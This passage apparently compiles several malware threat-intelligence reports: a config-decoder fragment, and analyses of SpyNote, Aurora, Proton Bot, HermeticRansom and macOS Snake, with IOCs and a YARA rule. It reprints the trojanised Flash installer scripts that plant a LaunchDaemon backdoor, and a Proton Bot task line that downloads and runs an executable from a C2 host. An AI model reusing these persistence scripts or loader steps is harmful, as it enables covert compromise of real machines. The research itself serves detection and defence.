rc4 = ARC4.new(decoded[-8:]) decoded_cfg = rc4.decrypt(base64.b64decode(cfg)) print(decoded_cfg) ``` ## Stack Load Method For the stack-based loading, I will be using the Unicorn emulator which I’ve used for decoding data out of previous malware samples. First, we need the config data: ```python else: # need to pull from stack offset = data.find(needle) blob = data[offset:] STACK = 0x90000 code_base = 0x10000000 mu = Uc(UC_ARCH_X86, UC_MODE_64) test = re.findall(r'''4883e4f04831c050.+4889e168''', binascii.hexlify(blob)) temp = [test[0][:-2]] mu.mem_map(code_base, 0x100000) mu.mem_map(STACK, 4096*10) ``` For the data, we just need to account for a larger stack size: ```python mu = Uc(UC_ARCH_X86, UC_MODE_64) test = re.findall(r'''00005a4[89].+4989e068''', binascii.hexlify(blob)) if len(test) > 0: temp = [test[0][6:-2]] mu.mem_map(code_base, 0x100000) mu.mem_map(STACK, 4096*200) ``` Decoding the config is then the same process of first decrypting the DLL: ```python rc4 = ARC4.new(b[-8:]) t = rc4.decrypt(b[:-8]) rc4 = ARC4.new(t[-8:]) decoded_cfg = rc4.decrypt(base64.b64decode(cfg)) print(decoded_cfg) ``` While enumerating samples off VirusTotal, we also discovered what looks more like a stager version: ``` d79f991d424af636cd6ce69f33347ae6fa15c6b4079ae46e9f9f6cfa25b09bb0 ``` This version just loads a bytecode blob onto the stack: ## Stager Like Version The decoding of the bytecode config is once again just the last 8 bytes as an RC4 key: ``` {"channel":"|"}|1|login.offices365.de|443|Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36|ITOU1PFRSSE8GHCJ|Fd6Ve1xcaCO4EhDTbgTV|/en/ec2/pricing/|content-type: application/json| ``` ## IOCs - symantecuptimehost.com - login.offices365.de
# An In-Depth Analysis of SpyNote Remote Access Trojan Lookout researchers have recently discovered a surveillance campaign targeting Syrian citizens, believed to be state-sponsored. The campaign, active since January 2018, aimed to infect Android mobile devices with remote access trojans (RATs) to spy on users. Victims were tricked into downloading and installing seemingly innocent mobile applications that were actually spyware. These applications were shared through various communication channels but were never available on the official Google Play Store. Some masqueraded as legitimate apps like Telegram, while others were COVID-19 contact tracing apps or benign tools like a fake digital thermometer. All had the additional functionality of allowing adversaries to spy on users. In this article, we will examine the internal workings of one of these applications to analyze its capabilities and understand how it is used by threat actors. ## What is a Remote Access Trojan (RAT)? A Remote Access Trojan (RAT) is a type of malware that controls a system through a remote network connection. A RAT is typically installed without the victim's knowledge, often as a payload of a trojan horse program, and tries to hide its operation from the victim and security software. A RAT enables its operators to perform many activities on the compromised device, such as controlling the camera, accessing storage, and intercepting calls and text messages. This is done via an easy-to-use application hosted on a command and control server. ## Executive Summary A sample Android application was chosen for analysis from a pool of 71 malicious ones reported by Lookout’s research. The sample examined is an instance of the SpyNote RAT. ### Chosen Application Details After installation, the application is displayed as Android with an icon resembling that of built-in Android applications. The `AndroidManifest.xml` file reveals that the malware takes advantage of several permissions, allowing it to: - Track the device's location (GPS and network-based) - Make and intercept calls - Access the camera - Access external storage - Access the contact list - Read SMS - Access the microphone - Display content over other applications - Clickjacking via Accessibility Services ## Technical Details While the distribution channel for the application sample remains unknown, it was never available on the official Google Play Store. Most likely, the malware was spread via other means like a spearphishing attachment or a link. A SpyNote client can masquerade as a legitimate application. Static code analysis indicates that the malware, after successful installation, would install a legitimate application embedded in the APK file at `res/raw/google.apk`. The adversary can pick the name of the application, service, its version, and the name of a victim to differentiate them. This value can be extracted from the `res/values/strings.xml` file. In this example, they were set as follows: ```xml <string name="n">Hamody</string> <!-- Victim Name --> <string name="app_name">Android</string> <!-- App Name --> <string name="s">Android</string> <!-- Service Name --> <string name="v">6.4.4</string> <!-- Version --> ``` This sample did not include any additional applications, and the file `res/raw/google.apk` was empty. ## Persistence Mechanism Android applications, including malware, can listen for the `BOOT_COMPLETED` broadcast event to ensure the application activates upon device startup. SpyNote utilizes this technique for its persistence mechanism. According to the `AndroidManifest.xml` file, the class receiving the `BOOT_COMPLETED` event is `com.android.tester.C4`: ```xml <receiver android:name="com.android.tester.C4" android:enabled="true" android:exported="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> ``` This class waits for the `BOOT_COMPLETED` broadcast, checks if the `com.android.tester.C11` service is running, and if not, initiates it. The service processes commands received from the C2 server and contains most of the code. ## Application Discovery SpyNote can discover installed applications, allowing attackers to identify which security appliances are deployed on a device. This is achieved using the `PackageManager` class. The malware extracts not only the names of installed applications but also their installation dates and icons. The operators controlling the device can see this information. ## Data Extraction SpyNote extracts a large quantity of data, likely to determine if it is running in a virtual machine. The main information categories include: - Device - System - SIM - WiFi - Audio - Bluetooth - Location For most Android Virtual Devices (AVDs), this data will not vary much by default, providing enough information to determine whether the infected system is a real mobile device or an emulator. ## APK Generation and Customization The tool embedded in SpyNote's C2 can generate APKs. It is highly customizable, allowing the attacker to choose whether the application should be hidden, enable key logging, leverage SuperSU if the device is rooted, and deactivate icons. SpyNote operators can use Device Administrator access to wipe data, lock it, or reset the password. ## Keystroke Logging SpyNote uses the accessibility API by overriding the `onAccessibilityEvent` method to log keystrokes. The logs are saved to external storage in a file named `configdd-MM-yyy.log`, where `dd-MM-yyyy` is the date of capture. The data can then be downloaded by the malware operators. ## File Manager Feature The spyware has a File Manager feature allowing access to files like application data, pictures, downloads, and others kept in external storage. ## Location Tracking and Audio Capture SpyNote has a location tracking feature based on GPS and network data. The location data is obtained by registering `LocationListener` using the `requestLocationUpdates` method from the `LocationManager` class. Additionally, a remote command can capture audio or camera feed, allowing live footage from all available cameras on the device. ## Data Exfiltration Data exfiltration is achieved over the command and control channel. All commands and data are sent via the normal communications channel, with traffic compressed before being sent using `java.util.zip.GZIPOutputStream`. Command and control (C2, C&C) traffic is sent over an uncommonly used port tcp/215, but SpyNote can also communicate via any other TCP port. The IP address and port are chosen during the APK building process. SpyNote uses a custom TCP protocol for C&C communications. The traffic always starts with the payload size followed by a 0x00 null byte. The payload from a victim to the C2 server is always GZIP DEFLATE-compressed. ## Conclusion Analysis of the SpyNote sample indicates that the threat actors behind the surveillance campaign had extensive control over victims' devices. This malware has considerable features and is highly customizable to evade detection and deceive victims into downloading, installing, and providing full access to their devices. Users should be educated not to install mobile applications from non-official application stores, and Device Administrator privileges should only be granted to trusted applications. ## Detection ### Indicators of Compromise (IOCs) ### MITRE ATT&CK Techniques
# McAfee Labs: Combating Aurora By Rohit Varma, McAfee Labs™ ## Overview “Operation Aurora,” released the week of January 11, exploits the recent Microsoft Internet Explorer vulnerability. The attack was initially targeted at several large companies, including Google. It is now public and is available on the web. The public release significantly increases the possibility of widespread attacks exploiting the vulnerability, putting Internet Explorer users at potentially serious risk. Microsoft is aware of the targeted attacks and lists the following combinations as vulnerable: Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4, and Internet Explorer 6, Internet Explorer 7, and Internet Explorer 8 on supported editions of Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2. Below we have a summary of McAfee’s assessment of Internet Explorer and platform risks: * **DEP** Data Execution Prevention (DEP) is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system. In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software. The primary benefit of DEP is to help prevent code execution from data pages. Typically, code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows. ## McAfee detection names for Aurora ### Exploit-Comele This maliciously crafted script attempts to exploit the vulnerability when Internet Explorer handles certain DOM operations. An attacker may exploit this issue to execute remote code. ### Roarur.dr This Trojan drops further malicious files onto the victim’s computer. ### Roarur.dll This Trojan is dropped by the roarur.dr Trojan. The dll creates an additional service on the victim’s computer and checks for certain files on the system. The files it looks for are: - acelpvc.dll (presence of this file does not necessarily imply an infection) - acelpvc.dll is used to stream live desktop feeds to the attacker. - VedioDriver.dll (presence of this file does not necessarily imply an infection) - Helper dll for acelpvc.dll. ### Aliases Trojan.Hydraq ## Symptoms - Outbound network connections to “hxxp://demo[remove].jpg” - The presence of the following files: - %SystemDir%\Rasmon.dll - %SYSDIR%\DFS.bat - The presence of the following registry keys: - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[% random 4 chars %] "ImagePath" = %SystemRoot%\svchost.exe -k netsvcs - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[% random 4 chars %] "Start"= 02, 00, 00, 00 - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[% random 4 chars %]\Parameters "ServiceDll" = %SystemRoot%\rasmon.dll ## Characteristics Aurora demonstrates these four infection characteristics: ## Common filenames and hashes - securmon.dll: E3798C71D25816611A4CAB031AE3C27A - Rasmon.dll: 0F9C5408335833E72FE73E6166B5A01B - a.exe: CD36A3071A315C3BE6AC3366D80BB59C - b.exe: 9F880AC607CBD7CDFFFA609C5883C708 - AppMgmt.dll: 6A89FBE7B0D526E3D97B0DA8418BF851 - A0029670.dll: 3A33013A47C5DD8D1B92A4CFDCDA3765 - msconfig32.sys: 7A62295F70642FEDF0D5A5637FEB7986 - VedioDriver.dll: 467EEF090DEB3517F05A48310FCFD4EE - acelpvc.dll: 4A47404FC21FFF4A1BC492F9CD23139C - wuauclt.exe: 69BAF3C6D3A8D41B789526BA72C79C2D - jucheck.exe: 79ABBA920201031147566F5418E45F34 - AdobeUpdateManager.exe: 9A7FCEE7FF6035B141390204613209DA - zf32.dll: EB4ECA9943DA94E09D22134EA20DC602 * This data is subject to change. * For the latest data, please visit McAfee Aurora site. ## McAfee product coverage for Aurora The McAfee Labs Aurora Stinger tool detects and removes threats associated with “Operation Aurora” attacks. ### Extended McAfee product coverage details: - **McAfee Web Gateway**: TrustedSource has coverage for domains and IP addresses that the malware contacts. Coverage for associated malware was released January 15 (as “BehavesLike.JS.Obfuscated.E”). Proactive coverage existed for some components (as “Trojan.Crypt.XDR.Gen”). - **McAfee Application Control**: All versions of McAfee Application Control protect against infection, without requiring updates, and will prevent all versions of the Aurora attack witnessed to date. - **McAfee Firewall Enterprise**: TrustedSource has coverage for domains and IP addresses that the malware contacts. The embedded McAfee anti-virus scanning engine in Firewall Enterprise Version 7.0.1.02 and later provides coverage for supported protocols via standard McAfee DAT updates. Coverage for known exploits and associated malware is provided as Exploit-Comele, Roarur.dr, and Roarur.dll in the 5862 DATs, released January 15. - **McAfee SiteAdvisor, SiteAdvisor Plus, SiteAdvisor Enterprise**: TrustedSource has coverage for domains and IP addresses that the malware contacts. - **McAfee Email and Web Security Appliances**: TrustedSource has coverage for domains and IP addresses that the malware contacts. ### Aurora coverage in McAfee point products: - **Exploit-Comele Trojan** - DAT files: Coverage is provided as Exploit-Comele in the 5860 DATs, released January 13, for known exploits. - VSE BOP: Out of scope - Host IPS: Out of scope - **McAfee Network Security Platform**: The UDS release of January 14 contains the signature "UDS-HTTP: Microsoft Internet Explorer HTML DOM Memory Corruption," which provides coverage. - **Roarur.dr Trojan** - DAT files: Coverage is provided as Roarur.dr in the 5862 DATS, released January 15. - VSE BOP: Out of scope - Host IPS: Out of scope - **McAfee Network Security Platform**: McAfee Network Security Platform versions with Artemis enabled (6.0.x) provide coverage for this malware. Out of scope for prior versions. - **Roarur.dll Trojan** - DAT files: Coverage is provided as Roarur.dll in the 5862 DATs, released January 15. - VSE BOP: Out of scope - Host IPS: Out of scope - **McAfee Network Security Platform**: McAfee Network Security Platform versions with Artemis enabled (6.0.x) provide coverage for this malware. Out of scope for prior versions. ## Microsoft Internet Explorer DOM Operation Memory Corruption Vulnerability **Threat Identifier(s)**: CVE-2010-0249 **Threat Type**: Vulnerability **Risk Assessment**: High **Main Threat Vectors**: E-Mail; Web **User Interaction Required**: No A memory corruption vulnerability in some versions of Microsoft Internet Explorer may lead to remote code execution or an application crash. The flaw lies in Internet Explorer's handling of certain DOM operations. Exploitation can occur via a maliciously crafted file or a maliciously crafted web page and allow an attacker to execute arbitrary code. Failed exploit attempts may result in an application crash (denial of service). Importance: High. On January 14 Microsoft publicly disclosed this vulnerability. Active exploitation has been observed in the wild. ## Cleaning and Repair A full on-demand scan must run to completely clean an infected host. In some cases, it may also be necessary to run the on-demand scan in Safe Mode, as well as run a second scan after a reboot. It is critical that the on-demand scan be configured properly. ### The proper configuration: - Scan All Local Drives - Memory for Rootkits - Running Processes - Registry - First “Action” set to “Clean” ### The full, recommended process: - Launch a full on-demand scan with the prior-documented configuration - Allow the scan to run to completion - Reboot - Launch a second on-demand scan and allow it to run to completion to verify that the system has been cleaned ## Common URLs accessed The following domains need to be blocked at the firewall: - 360.homeunix.com - 69.164.192.4 - alt1.homelinux.com - amt1.homelinux.com - aop1.homelinux.com - app1.homelinux.com - blogspot.blogsite.org - filoups.info - ftp2.homeunix.com - ftpaccess.cc - google.homeunix.com - members.linode.com - sl1.homelinux.org - tyuqwer.dyndns.org - update.ourhobby.com - voanews.ath.cx - webswan.33iqst.com:4000 - yahoo.8866.org - ymail.ath.cx - yahooo.8866.org - connectproxy.3322.org - csport.2288.org * This data is subject to change. * For the latest data, please visit McAfee Aurora site.
# Overview of Proton Bot, another loader in the wild! Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with “loader” tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made. Since a few months, another dedicated loader malware appears from multiple sources with the name of “Proton Bot” and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1. Sold for $50 (with C&C panel) and developed in C++, it's cheaper than Smoke (usually seen with an average of $200/$300) and could explain that some actors/customers are making some changes and trying new products to see if it’s worth to continue with it. The developer behind it (glad0ff) is not new to malware; he is also behind Acrux & Decrux. **Disclaimer:** This article is not a deep in-depth analysis. ## Analyzed sample - 1AF50F81E46C8E8D49C44CB2765DD71A [Packed] - 4C422E9D3331BD3F1BB785A1A4035BBD [Unpacked] Something that I am finally glad about by reversing this malware is that I’m not in pain for unpacking a VM protected sample. By far this is the only one that I’ve analyzed from this developer that is not using Themida, VMprotect or Enigma Protector. So seeing finally a clean PE is some kind of heaven. ## Behavior When the malware is launched, it retrieves the full path of the executed module by calling `GetModuleFilename`. This returned value is the key for Proton Bot to verify if this is a first-time interaction on the victim machine or, in contrast, an already setup and configured bot. The path is compared with a corresponding name & repository hardcoded into the code that are obviously obfuscated and encrypted. This call is an alternative to `GetCommandLine` in this case. On this screenshot above, EDI contains the value of the payload executed at the current time and EAX, the final location. At that point, with a lack of samples in my possession, I cannot confirm if this path is unique for all Proton Bot v1 or if multiple fields could be a possibility; this will be resolved when more samples will be available for analysis. Next, no matter the scenario, the loader is forcing persistence with a scheduled task trick. Multiple obfuscated blocks are following a scheme to generate the request until it’s finally achieved and executed with a simple `ShellExecuteA` call. With persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions: If paths are different: 1. Making an HTTP Request on “http://iplogger.org/1i237a” for grabbing the Bot IP 2. Creating a folder & copying the payload in an unusual way that I will explain later. 3. Executing Proton Bot again in the correct folder with `CreateProcessA` 4. Exiting the current module If paths are identical: 1. Two threads are created for specific purposes: - One for the loader - The other for the clipper 2. At that point, all interactions between the bot and the C&C will always be starting with this format: `/page.php?id=%GUID%`. `%GUID%` is, in fact, the Machine GUID, so in a real scenario, this could be in an example this value “fdff340f-c526-4b55-b1d1-60732104b942”. ## Summary - **Mutex:** dsks102d8h911s29 - **Loader Path:** %APPDATA%/NvidiaAdapter - **Loader Folder:** - **Schedule Task:** ## Process This loader has an odd and unorthodox way to manipulate data access and storage by using the Windows KTM library. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the FileAPI module. The idea here is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the Transaction NTFS (TxF). For those who aren’t familiar with this, there is an example here: 1. `CreateTransaction` is called for starting the transaction process 2. The requested task is now called 3. If everything is good, the Transaction is finalized with a commit (`CommitTransaction`) and confirming the operation is a success 4. If a single thing failed (even 1 among 10000 tasks), the transaction is rolled back with `RollbackTransaction` In the end, this is the task list used by Proton Bot: - `DeleteFileTransactedA` - `CopyFileTransactedA` - `SetFileAttributesTransactedA` - `CreateDirectoryTransactedA` This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes & specialized software. It’s a matter of time now to hotfix and adjust this behavior for having better results. The API used has also been used for another technique with analysis of the banking malware Osiris by @hasherezade. ## Anti-Analysis There are three main things exploited here: - Stack String - Xor encryption - Xor key adjusted with a NOT operand By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat the same kind of behavior that Predator the thief is abusing above v3 version. The screenshot above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here; these have been mentioned multiple times and I would say with humor that C++ itself is some kind of Anti-Analysis, that is enough to take some aspirin. ## Loader Architecture The loader is divided into 5 main sections: 1. Performing C&C request for adding the Bot or asking a task. 2. Receiving results from C&C. 3. Analyzing OpCode and executing the corresponding task. 4. Sending a request to the C&C to indicate that the task has been accomplished. 5. Repeat the process [GOTO 1]. ### C&C requests **Former loader request** - **Path base:** /page.php - **Required arguments:** - **id:** Bot ID (RegQueryValueExA – MachineGUID) - **os:** Operating System (RegQueryValueExA – ProductName) - **pv:** Account Privilege (Hardcoded string – “Admin”) - **a:** Antivirus (Hardcoded string – “Not Supported”) - **cp:** CPU (Cpuid - Very similar code) - **gp:** GPU (EnumDisplayDevicesA) - **ip:** IP (GetModuleFileName - Yup, it’s weird) - **name:** Username (RegQueryValueExA – RegisteredOwner) - **ver:** Loader version (Hardcoded string – “1.0 Release”) - **lr:** ??? (Hardcoded string – “Coming Soon”) **Additional fields when a task is completed:** - **op:** OpCode (Integer) - **td:** Task ID (Integer) ### Task format The task format is really simple and is presented as a simple structure like this: `Task Name;Task ID;Opcode;Value`. ### Tasks OpCodes When receiving the task, the OpCode is an integer value that permits reaching the specified task. At that time I have counted 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them. | OpCode | Feature | |--------|---------| | 1 | Loader | | 2 | Self-Destruct | | 3 | Self-Renewal | | 4 | Execute Batch script | | 5 | Execute VB script | | 6 | Execute HTML code | | 7 | Execute Powershell script | | 8 | Download & Save new wallpaper | | 9 | ??? | | 10 | ??? | | 11 | ??? | | 12 (Supposed) | DDoS | For those who want to see how the loader part looks like on a disassembler, it’s quite pleasant (sarcastic). ### Loader main task The loader task is set to the OpCode 1. In a real scenario, this could remain at this one: `newtask;112;1;http://187.ip-54-36-162.eu/uploads/me0zam1czo.exe`. This is the simplest but accurate way to do the task: 1. Setup the downloaded directory on %TEMP% with `GetTempPathA`. 2. Remove footprints from cache `DeleteUrlCacheEntryA`. 3. Download the payload – `URLDownloadToFileA`. 4. Set Attributes to the file by using transactions. 5. Execute the Payload – `ShellExecuteA`. ## Other features ### Clipper Clipper fundamentals are always the same and at that point now, I’m mostly interested in how the developer decided to organize this task. In this case, this is simple but enough to perform accurately some stuff. The first main thing to report about it is that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and need to perform an HTTP request only once on the C&C for setting up this: `/page.php?id=%GUID%&clip=get`. The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this: ``` [ id, # ID on C&C name, # ID Name (i.e: Bitcoin) regex, # Regular Expression for catching the Wallet attackerWallet # Switching victim wallet with this one ] ``` At first, I thought there was a request to the C&C when the clipper triggered a matched regular expression, but it’s not the case here. The attacker has decided to target some wallets: - Bitcoin - Dash - Litecoin - Zcash - Ethereum - DogeCoin If you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in detail this (Megumin & Qulab). ### DDoS Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using WinSocks. ### Executing scripts The loader is also configured to launch scripts; this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work. 1. Deobfuscating the selected format (.bat in this case). 2. Download the script on %TEMP%. 3. Change the type of the downloaded script. 4. Execute the script with `ShellExecuteA`. Available formats are .bat, .vbs, .ps1, .html. ### Wallpaper There is a possibility to change the wallpaper of the bot by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end: 1. Setup the downloaded directory on %TEMP% with `GetTempPathA`. 2. Remove footprints from cache `DeleteUrlCacheEntryA`. 3. Download the image – `URLDownloadToFileA`. 4. Change the wallpaper with `SystemParametersInfosA`. In this case, the structure will be like this: ```c BOOL SystemParametersInfoA ( UINT uiAction -> 0x0014 (SPI_SETDESKWALLPAPER) UINT uiParam -> 0 PVOID pvParam -> %ImagePath% UINT fWinIni -> 1 ); ``` I can’t understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thoughts about it. ## Example in the wild A few days ago, a Proton Bot C&C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatible 5000 bots. It’s enough to suggest that it is used by some business already started with this one. **Notable malware hosted and/or pushed by this Proton Bot:** - Qulab - ProtonBot - CoinMiners - C# RATs There is also another thing to notice; the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain & loader service (Prostoloader). It’s common nowadays to see threat actors paying multiple services to spread their payloads for maximizing profits. All of them are accessible on the malware tracker. **IoC** - **Proton Bot:** 187.ip-54-36-162.eu/cmdd.exe - **Hashes:** - 9af4eaa0142de8951b232b790f6b8a824103ec68de703b3616c3789d70a5616f - 349c036cbe5b965dd6ec94ab2c31a3572ec031eba5ea9b52de3d229abc8cf0d1 - 42c25d523e4402f7c188222faba134c5eea255e666ecf904559be399a9a9830e - 5de740006b3f3afc907161930a17c25eb7620df54cff55f8d1ade97f1e4cb8f9 - 6a51154c6b38f5d1d5dd729d0060fa4fe0d37f2999cb3c4830d45d5ac70b4491 - 77a35c9de663771eb2aef97eb8ddc3275fa206b5fd9256acd2ade643d8afabab - 7d2ccf66e80c45f4a17ef4ac0355f5b40f1d8c2d24cb57a930e3dd5d35bf52b0 - aeab96a01e02519b5fac0bc3e9e2b1fb3a00314f33518d8c962473938d48c01a - ba2b781272f88634ba72262d32ac1b6f953cb14ccc37dc3bfb48dcef76389814 - bb68cd1d7a71744d95b0bee1b371f959b84fa25d2139493dc15650f46b62336c - c2a3d13c9cba5e953ac83c6c3fe6fd74018d395be0311493fdd28f3bab2616d9 - cbb8e8624c945751736f63fa1118032c47ec4b99a6dd03453db880a0ffd1893f - cd5bffc6c2b84329dbf1d20787b920e5adcf766e98cea16f2d87cd45933be856 - d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf - e1d8a09c66496e5b520950a9bd5d3a238c33c2de8089703084fcf4896c4149f0 **Domains:** - 187.ip-54-36-162.eu **PDB:** - E:\PROTON\Release\build.pdb **Wallets:** - 3HAQSB4X385HTyYeAPe3BZK9yJsddmDx6A - XbQXtXndTXZkDfb7KD6TcHB59uGCitNSLz - LTwSJ4zE56vZhhFcYvpzmWZRSQBE7oMSUQ - t1bChFvRuKvwxFDkkm6r4xiASBiBBZ24L6h - 1Da45bJx1kLL6G6Pud2uRu1RDCRAX3ZmAN - 0xf7dd0fc161361363d79a3a450a2844f2a70907c6 - D917yfzSoe7j2es8L3iDd3sRRxRtv7NWk8 **Threat Actor:** - Glad0ff (Main) - ProtonSellet (Seller) **Yara Rule:** ```yara rule ProtonBot : ProtonBot { meta: description = "Detecting ProtonBot v1" author = "Fumik0_" date = "2019-05-24" strings: $mz = {4D 5A} $s1 = "proton bot" wide ascii $s2 = "Build.pdb" wide ascii $s3 = "ktmw32.dll" wide ascii $s4 = "json.hpp" wide ascii condition: $mz at 0 and (all of ($s*)) } ``` ## Conclusion Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. Proton Bot is not sophisticated malware but it’s doing its job with extra modules for probably being more attractive. Let’s see with time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future. On my side, it’s time to chill a little. **Special Thanks:** S!ri & Snemes
# Ransomware as a Distraction Ransomware HermeticRansom cryptor was used as a distraction to support HermeticWiper attacks. ## Editorial Team March 1, 2022 Our researchers analyzed the HermeticRansom malware, also known as Elections GoRansom. By and large, this is a fairly simple cryptor. What is interesting in this case is the purpose for which attackers are using it. ## HermeticRansom Goals HermeticRansom attacked computers at the same time as another malware known as HermeticWiper, and based on publicly available information from the security community, it was used in recent cyberattacks in Ukraine. According to our experts, the relative simplicity and questionable malware workflow implementation suggest that HermeticRansom was used as a smokescreen for HermeticWiper attacks. ## What HermeticRansom is Capable Of Once infecting the victim’s computer, the malware first identifies hard drives and collects a list of directories and files located everywhere except for the Windows and Program Files folders. It then encrypts certain categories of files and renames them, adding a .encrypted tag and the email address of the ransomware operators. The malware also creates a read_me.html file in the Desktop folder containing a ransom note with the attackers’ contacts. The note looks like this: ### Ransom Note Left by HermeticRansom Malware HermeticRansom encrypts files with the following extensions: .inf, .acl, .avi, .bat, .bmp, .cab, .cfg, .chm, .cmd, .com, .crt, .css, .dat, .dip, .dll, .doc, .dot, .exe, .gif, .htm, .ico, .iso, .jpg, .mp3, .msi, and .odt. ## HermeticRansom Peculiarities HermeticRansom is written in Golang. It does not use any obfuscation mechanisms, and the encryption method itself is rather cumbersome and inefficient. Judging by these and some other signs, our experts think that this malware was created in a hurry. You can find a more detailed technical analysis of the malware along with indicators of compromise on our Securelist blog. ## How to Stay Safe Kaspersky Lab security solutions successfully detect HermeticRansom malware and similar threats. We have a range of tools to protect both home computers and corporate infrastructure, including: - Kaspersky Internet Security: our multi-platform security solution for home users. - Kaspersky Endpoint Security Cloud: our solution for business protection. - Kaspersky Anti-Ransomware Tool: our free corporate solution that can work as an additional layer of protection in parallel with products from other vendors.
# Snake: Coming Soon in Mac OS X Flavour **Summary** Snake, also known as Turla, Uroburos, and Agent.BTZ, is a relatively complex malware framework used for targeted attacks. Over the past year, Fox-IT has been involved in multiple incident response cases where the Snake framework was used to steal sensitive information. Targets include government institutions, military, and large corporates. Researchers who have previously analyzed compromises where Snake was used have attributed the attacks to Russia. Compared to other prolific attackers with alleged ties to Russia, such as APT28 (Fancy Bear) and APT29 (Cozy Bear), Snake’s code is significantly more sophisticated, its infrastructure more complex, and targets more carefully selected. The framework has traditionally focused on the Windows operating system, but in 2014 the first Linux variant was observed. Now, Fox-IT has identified a version of Snake targeting Mac OS X. As this version contains debug functionalities and was signed on February 21st, 2017, it is likely that the OS X version of Snake is not yet operational. Fox-IT expects that the attackers using Snake will soon use the Mac OS X variant on targets. **Functionality** For Windows versions, the architecture of Snake typically consists of a kernel mode driver designed to hide the presence of several Snake components and to provide low-level access to network communication. Depending on the architecture of a targeted machine, either kernel or user mode is used for network communication. The OS X version of Snake is a port of the Windows version. References to explorer, Internet Explorer, and Named Pipes are still present in the binary. **Install Adobe Flash Player.app** The Snake binary comes inside of a ZIP archive named `Adobe Flash Player.app.zip`, which is a backdoored version of Adobe’s Flash Player installer. The `install.sh` script is patched with the following lines: ```bash #!/bin/sh SCRIPT_DIR=$(dirname "$0") TARGET_PATH=/Library/Scripts TARGET_PATH2=/Library/LaunchDaemons cp -f "${SCRIPT_DIR}/queue" "${TARGET_PATH}/queue" cp -f "${SCRIPT_DIR}/installdp" "${TARGET_PATH}/installdp" cp -f "${SCRIPT_DIR}/installd.sh" "${TARGET_PATH}/installd.sh" cp -f "${SCRIPT_DIR}/com.adobe.update" "$TARGET_PATH2/com.adobe.update.plist" "${TARGET_PATH}/installd.sh" "${SCRIPT_DIR}/Install Adobe Flash Player" exit $RC ``` The `installd.sh` that is invoked contains the following code: ```bash #!/bin/bash SCRIPT_DIR=$(dirname "$0") FILE="${SCRIPT_DIR}/queue#1" PIDS=`ps cax | grep installdp | grep -o '^[ ]*[0-9]*'` if [ -z "$PIDS" ]; then ${SCRIPT_DIR}/installdp ${FILE} n fi ``` The shell script checks if `installdp` is already running; if not, it will start with: ```bash /Library/Scripts/installdp /Library/Scripts/queue#1 n ``` **Persistence** The backdoor is persisted via Apple’s LaunchDaemon service: ```bash $ plutil -p /Library/LaunchDaemons/com.adobe.update.plist { "ProgramArguments" => [ 0 => "/Library/Scripts/installd.sh" ] "KeepAlive" => 1 "Label" => "com.apple.update" "OnDemand" => 1 "POSIXSpawnType" => "Interactive" } ``` **Codesigning Details** In order for an application to be run on OS X, it has to be signed with a valid certificate issued by Apple or it would be blocked by GateKeeper (unless configured otherwise). The following, likely stolen, developer certificate was used to sign the fake Adobe Flash installer which includes the Snake binary: ```bash Executable=Install Adobe Flash Player.app/Install Identifier=com.addy.InstallAdobeFlash Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20200 size=390 flags=0x0(none) hashes=12+3 location=embedded Hash type=sha1 size=20 CandidateCDHash sha1=ffc1a65f9153c94999212fb8bd7e3950eca035ae Hash choices=sha1 CDHash=ffc1a65f9153c94999212fb8bd7e3950eca035ae Signature size=4231 Authority=Developer ID Application: Addy Symonds (EHWBRW848H) Authority=Developer ID Certification Authority Authority=Apple Root CA Signed Time=21 Feb 2017 08:55:36 Info.plist entries=22 TeamIdentifier=EHWBRW848H Sealed Resources version=2 rules=12 files=86 Internal requirements count=1 size=188 ``` Fox-IT has informed Apple’s security team with the request to revoke the certificate. **Debug Build** Several strings found throughout the binary indicate that this version is in fact a debug build. ```c 